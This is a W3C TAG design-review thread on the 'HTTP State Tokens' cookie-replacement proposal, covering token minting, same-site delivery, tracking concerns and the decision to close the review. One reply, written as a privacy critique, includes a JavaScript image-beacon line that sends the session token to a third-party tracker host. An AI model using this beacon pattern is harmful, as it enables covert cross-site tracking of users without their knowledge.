HTTP State Tokens

[mikewest]

Guten TAG,

I'm requesting a TAG review of:

• Name: HTTP State Tokens
• Specification URL: N/A
• Explainer, Requirements Doc, or Example code: https://github.com/mikewest/http-state-tokens
• Tests: N/A
• Primary contacts: @mikewest

Further details (optional):

• Relevant time constraints or deadlines: None. This is a super-sketchy idea that's just baked enough to ask people to start poking at it with toothpicks to see how runny it is inside.
• I have read and filled out the Self-Review Questionnare on Security and Privacy. The assessment is here.
• I have reviewed the TAG's API Design Principles

You should also know that...

I'm only sending this to y'all at this point because I alluded to it in our last meeting. I'd appreciate y'all's feedback, but this isn't something folks have solidly bought into yet, and there's no risk of it shipping (or being implemented) anytime soon. It's a thought experiment I'd like y'all to participate in, which hopefully will lead to a reasonable design in the future.

We'd prefer the TAG provide feedback as (please select one):

• open issues in our Github repo for each point of feedback
• open a single issue in our Github repo for the entire review
• leave review feedback as a comment in this issue and @-notify [github usernames]

[mikewest]

Maybe we can talk about this at TPAC, since we'll all(?) be there?

[lknik]

Would you be able to compile security & privacy considerations?

[mikewest]

That's basically the whole explainer? What would you like to see?

[dbaron]

So it seems like this turns something that currently requires sites to actively track (i.e., set a cookie) into something that can now be done passively, since it at least looks like this is proposing that the HTTP state token be sent whether or not the site requests it. Though maybe that's not the intent, and the idea is that it would only be sent after Sec-HTTP-State-Options has been received? (But if that's the case, how will the first request be connected to the rest?)

[torgo]

@mikewest - we didn't get a chance to discuss this at TPAC. Is there any additional implementer interest? Also to David's point, will implementation of this proposal diminish the ability for the user to measure how they are being tracked? Also, will an origin get different tokens depending on the top level origin (i.e. double-keying).

[mikewest]

Thanks, @dbaron and @torgo!

So it seems like this turns something that currently requires sites to actively track (i.e., set a cookie) into something that can now be done passively

Two points:

1. https://github.com/mikewest/http-state-tokens#opt-in discusses the question of whether an initial navigational request should be pre-populated with a value, or whether the capability should be advertised and opted-into. My intuition is that binding the initial request to the next request is actually important, and that folks would just initiate another navigation if they didn't get the value to begin with (which means that this isn't actually a barrier, and it just creates annoyance for users). This, though, is not at all set in stone, and I may well be wrong in my analysis. If there's real value to making the token completely opt-in, I'm not at all philosophically opposed to doing so.

2. Note that the default delivery behavior of a token is same-site. This means that even if we do decide to auto-mint tokens for origins, they're not particularly useful for third-party tracking until and unless a user visits the site in a first-party context so that it has an opportunity to change the delivery option via a Sec-HTTP-Site-Options header (because same-site tokens aren't delivered in third-party contexts). That is, if a user who's never been to any websites before visits https://example.com/, then:

   • The navigational request would include a newly-minted token for https://example.com.
   • Subresource requests to https://example.com/ would include https://example.com's token.
   • Subresource requests to https://sub.example.com/ would include a newly-minted token for https://sub.example.com (because its delivery would default to same-site).
   • Subresource requests to https://not-example.com/ would not include a token for https://not-example.com (because its delivery had not been changed from same-site).

   In other words, I think this proposal actually makes third-party tracking more opt-in than it is today, insofar as the third-party which wishes to track must have been visited in a first-party context at some point in the past to have changed it's delivery option.

Is there any additional implementer interest?

None that I know of.

Also to David's point, will implementation of this proposal diminish the ability for the user to measure how they are being tracked?

I don't see how it would. Users would remain in control of these tokens in the same way they're in control of cookies.

Also, will an origin get different tokens depending on the top level origin (i.e. double-keying).

That seems like a choice specific user agents could make. I'd note that Safari is the only browser to double-key storage, and they've just removed cookie partitioning from tip-of-tree WebKit. It seems more likely to me that folks will follow Firefox's approach of gating access completely for particular origins rather than attempting to shard identity across top-level pages, but I think this proposal would give user agents flexibility to do so as they see fit.

[dbaron]

Assuming same-site means same origin (does it?), I think (2) above addresses part of the concern. But the point about active versus passive seems related to things like the Lightbeam (formerly Collusion) Firefox extension that aims to show how sites are collaborating with each other in tracking the user. If the tracking happens automatically without any opt-in from the site, then it becomes harder to show what tracking is happening.

[mikewest]

Assuming same-site means same origin (does it?)

same-site means same-site (the enum in the explainer is cross-site, same-site, or same-origin; the default is same-site for delivery, as that enables the SSO pattern of sso.site.tld that we see all over the place, which seems like a reasonable kind of thing to encourage as the default behavior).

If the tracking happens automatically without any opt-in from the site

The proposal suggests that we mint tokens proactively for things that the user navigates to as first-parties. It does not suggest that we do the same for things that the user does not navigate to as a first-party, even if they really want it. Can you help me understand the scenario in which Lightbeam would show users bad information, or somehow misunderstand/underestimate the tracking potential a user's navigations expose?

[dbaron]

There's an enum in the explainer? (I don't see one.)

So perhaps not Lightbeam exactly -- but tools that help users understand what's happening with their information. So just as we try to minimize passive fingerprinting opportunities while worrying less about active fingerprinting, it seems like we ought to be concerned about the distinction between passive tracking versus active tracking -- probably even more so in tools designed for tracking than for the fingerprinting case.

[mikewest]

There's an enum in the explainer? (I don't see one.)

You're right. It's much more implicit than I thought it was in the delivery section of https://github.com/mikewest/http-state-tokens#a-proposal. Sorry about that, it'll be more clear if/when I ever get around to writing a spec.

So perhaps not Lightbeam exactly -- but tools that help users understand what's happening with their information. So just as we try to minimize passive fingerprinting opportunities while worrying less about active fingerprinting, it seems like we ought to be concerned about the distinction between passive tracking versus active tracking -- probably even more so in tools designed for tracking than for the fingerprinting case.

I agree that we need to be cognizant of the opportunities we're creating, and mindful of the ways in which they'll be abused.

That said, this proposal is strictly narrower than status quo insofar as it does not allow tokens to be minted in third-party contexts, but only in first-party contexts. That is, the site which wishes to track users will need to "actively" deliver a Sec-HTTP-State-Options: delivery=cross-site header to the user in a first-party context in order to receive tokens in a third-party context. That seems to me to satisfy your concerns with regard to the passively-available characteristics of the token. Does it not?

[dbaron]

It still seems like there is a reduction in the ability to study/monitor first-party tracking. I'm not sure how big a deal that reduction is -- but I'd think some people are interested in how much they're tracked by first parties.

[mikewest]

It still seems like there is a reduction in the ability to study/monitor first-party tracking.

I don't understand how. But I'd love to chat about it more! :)

[michael-oneill]

Third-party tracking would still be possible, even without access to third-party cookies. A first-party browsing context could create an element, or execute an xhr, with a url formed from the session token. var img = new Image(); img.src= //www.third-party-tracker.com?token= <http://www.third-party-tracker.com?token=> " +token; www.third-party-tracker.com <http://www.third-party-tracker.com> could concatenate the token with the Referrer header to create a cross-origin unique identifier, or the first-party origin could be in another url param. From: Mike West <[email protected]> Sent: 01 November 2018 10:19 To: w3ctag/design-reviews <[email protected]> Cc: Subscribed <[email protected]> Subject: Re: [w3ctag/design-reviews] HTTP State Tokens (#297) It still seems like there is a reduction in the ability to study/monitor first-party tracking. I don't understand how. But I'd love to chat about it more! :) — You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub <#297 (comment)> , or mute the thread <https://github.com/notifications/unsubscribe-auth/AEBCIkNn6bafSeLimw4Ex4NS9MqWX2WLks5uqsqHgaJpZM4V8N8q> . <https://github.com/notifications/beacon/AEBCIh-DRwu6iYGL4n2V-hkCn49IQoV2ks5uqsqHgaJpZM4V8N8q.gif>

[mikewest]

Y'all might be interested in skimming through https://speakerdeck.com/mikewest/cookies-are-bad-at-http-workshop-2019, which walks through the proposal at a very high level. The spec linked above should be detailed enough to pick at, but the high-level direction is what I'm most interested in at this point: is this the right shape for a state management primitive? Should some of the constraints be loosened, tightened, etc?

[annevk]

It doesn't really seem to me that cookies are beyond fixing. And web developers would be suited by incremental evolution of them (e.g., easier ways of clearing, truly origin-bound cookies, etc.). It's not really clear that reduction in size and no possibility for user-information in (these) headers is sufficient motivation for replacing them. And there's also massive infrastructure changes required that make adoption seem somewhat unlikely.

[mikewest]

I agree with @annevk: we should make today's cookies better incrementally and create a forward-looking, aspirational replacement in parallel so that the one approach doesn't block the other.

[michael-oneill]

This is a great idea, and I agree the short duration default of 1 hour is in the right ballpark. One thing to consider: text that the user agent SHOULD alert the user when the response header calls for a longer duration, or raises scope from same-origin. This could be a prompt as in ITP or some kind of visible indication in the chrome, and the user should be able to interact with it to deny or restrict the change. MikeO From: Mike West <[email protected]> Sent: 08 April 2019 13:36 To: w3ctag/design-reviews <[email protected]> Cc: michael-oneill <[email protected]>; Comment <[email protected]> Subject: Re: [w3ctag/design-reviews] HTTP State Tokens (#297) Y'all might be interested in skimming through https://speakerdeck.com/mikewest/cookies-are-bad-at-http-workshop-2019, which walks through the proposal at a very high level. The spec linked above should be detailed enough to pick at, but the high-level direction is what I'm most interested in at this point. — You are receiving this because you commented. Reply to this email directly, view it on GitHub <#297 (comment)> , or mute the thread <https://github.com/notifications/unsubscribe-auth/AEBCIvNHrNYqrW3RZiWkzA1ly_Vcophpks5vezeqgaJpZM4V8N8q> . <https://github.com/notifications/beacon/AEBCIh3emTlICNMX_wZrjFYK6noXdjAzks5vezeqgaJpZM4V8N8q.gif>

[michael-oneill]

Another thought: why not allow the expiry be delayed by resetting on user activity, key strokes etc. So the token stays alive while there is an active session, then times out after an hour. The default duration could be smaller then also (<1hr). From: Mike West <[email protected]> Sent: 08 April 2019 13:36 To: w3ctag/design-reviews <[email protected]> Cc: michael-oneill <[email protected]>; Comment <[email protected]> Subject: Re: [w3ctag/design-reviews] HTTP State Tokens (#297) Y'all might be interested in skimming through https://speakerdeck.com/mikewest/cookies-are-bad-at-http-workshop-2019, which walks through the proposal at a very high level. The spec linked above should be detailed enough to pick at, but the high-level direction is what I'm most interested in at this point. — You are receiving this because you commented. Reply to this email directly, view it on GitHub <#297 (comment)> , or mute the thread <https://github.com/notifications/unsubscribe-auth/AEBCIvNHrNYqrW3RZiWkzA1ly_Vcophpks5vezeqgaJpZM4V8N8q> . <https://github.com/notifications/beacon/AEBCIh3emTlICNMX_wZrjFYK6noXdjAzks5vezeqgaJpZM4V8N8q.gif>

[annevk]

@mikewest to be clear, I don't think the case for the replacement has been sufficiently made.

[torgo]

Picking this up at our f2f meeting today...

[torgo]

After reviewing your RFC and especially point 1.2, I remain puzzled as to why developers would switch to http state tokens at all if cookies still exist? Why not "fix" cookies so that they have the security behaviour you're describing. @dbaron points out that this would "break" some content. Maybe it's time to break some content?

Having said that, our proposal is that this should progress in the http working group rather than here and so we think this issue should probably be closed for now and then reopened when and if the http working group requests TAG review.

@mikewest is it ok for us to close the comment for now?

[mikewest]

Picking this up at our f2f meeting today...

Will you be posting minutes? Stalking through GitHub and the usual places didn't turn anything up for me...

After reviewing your RFC and especially point 1.2, I remain puzzled as to why developers would switch to http state tokens at all if cookies still exist?

Technically, this proposal does some things that cookies can't (cookies don't do ports, for instance, nor can they directly assert provenance), which creates some security advantage to adoption. I know of ~3 places in Google that want some of these things, and I can imagine marginal adoption amongst the particularly savvy and beautiful developers.

Non-technically, resetting expectations is, IMO, best done with a new thing that has a new name. I tried to make that case in the section of the ID that you mentioned. It appears you didn't find that work compelling, but I'd like to understand why?

Why not "fix" cookies so that they have the security behaviour you're describing.

We briefly touched on this in #297 (comment), and https://speakerdeck.com/mikewest/cookies-are-bad-at-http-workshop-2019:

1. We should fix cookies when we can. For example, Chrome's current push to default to SameSite=Lax and require Secure along with SameSite=None (which y'all have in your queue at SameSite=Lax by default. #373) can be seen as a step towards aligning cookies with this proposal. You could imagine more shifts in defaults that would bring us even closer.

2. We should propose a replacement that folks can transition to because new names reset expectations and give us a clear migration path over time.

Having said that, our proposal is that this should progress in the http working group rather than here and so we think this issue should probably be closed for now and then reopened when and if the http working group requests TAG review.

I'll defer to y'all on this, but it surprises me.

My impression has been that the TAG has generally been happier when looped into discussions that affect the underlying framework on which other things are built. I'd expect y'all to have somewhat authoritative opinions both about core concepts like authentication and state management. HTTPWG is clearly where standardization would happen, but it's not clear to me that there's as much of a liaison relationship there as you're suggesting (friendly folks like @mnot nonwithstanding!). I don't think the HTTPWG is in the habit of poking at the TAG for feedback.

For example, https://httpwg.org/http-extensions/draft-ietf-httpbis-header-structure.html seems like something that y'all could weigh in on, as it has pretty clear implications for the design of APIs at the application layer. So far, I haven't seen that happen. Perhaps @mnot was planning on asking y'all to weigh in as the document moves to last call?

[mnot]

W3C and IETF have a liaison, of course (ping @wseltzer), and we do try to keep the TAG in the loop on major developments where we can.

IIRC I've brought SH up in person during our occasional syncs, but I don't think we've had a format TAG review. I'll be at TPAC next week (well, Tuesday to Thursday); if folks want to talk about it or just an overview, happy to oblige.

[ylafon]

@mikewest what is the status of this issue? Main concerns are the transition plan from Cookies to state tokens, and if smooth transition cannot be achieved, how can Cookies be modified to inherit the new properties of State Tokens?
Your point 2 above (changing to a new name to reset expectation) comes with a huge change in implementations, UAs, libraries, server components, etc... It would be sad to see a 'cookie users' web and a 'state token' web.

[mikewest]

Hey, @ylafon!

what is the status of this issue? Main concerns are the transition plan from Cookies to state tokens, and if smooth transition cannot be achieved, how can Cookies be modified to inherit the new properties of State Tokens?

It's on the back burner at the moment; Chrome has been focusing on the less-radical approach initiated in https://mikewest.github.io/cookie-incrementalism/draft-west-cookie-incrementalism.html for the near term, and I expect more incremental proposals to follow.

I do intend to come back to this in light of some of the other cookie-related proposals Chrome is pushing for in the mid-term. That said, there's no action for y'all to take a the moment, and closing this out until I've found time to rewrite the proposal is probably reasonable.

[hadleybeeman]

Thanks, @mikewest! We're just coming back to this at our Wellington face-to-face. We're happy to close it, and will look forward to seeing your new incremental proposals whenever you'd like us to. Cheers!